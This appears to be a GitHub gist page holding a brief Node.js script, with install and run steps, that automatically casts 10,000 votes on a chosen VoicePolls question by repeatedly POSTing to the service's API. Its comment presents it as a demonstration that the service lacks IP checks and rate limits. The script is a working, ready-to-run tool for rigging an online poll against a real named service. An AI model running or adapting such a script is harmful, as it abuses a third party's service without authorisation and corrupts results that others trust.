-
-
Save stoyanvi/0155e28ff05d6e6ad0d8 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* How to automatically vote on VoicePolls -__- #ScriptKiddieLevel | |
* | |
* Guys, you should really check — at least — for IPs and — at least — put a rate-limit on API calls. | |
* | |
* Usage : | |
* $ npm install async request | |
* $ node vote.js | |
*/ | |
var times = 10000; // how many times should the script vote | |
var questionId = 1127000; // question id | |
var vote = 0; // 0 to n | |
var async = require('async'); | |
var req = require('request'); | |
async.timesSeries(times, function(n, f){ | |
req({ | |
method: 'POST', | |
url: ['https://api.voicepolls.com/1/questions/', questionId, '/vote/', vote].join('') | |
}, function(http, err, body){ | |
console.log(body); | |
f(); | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment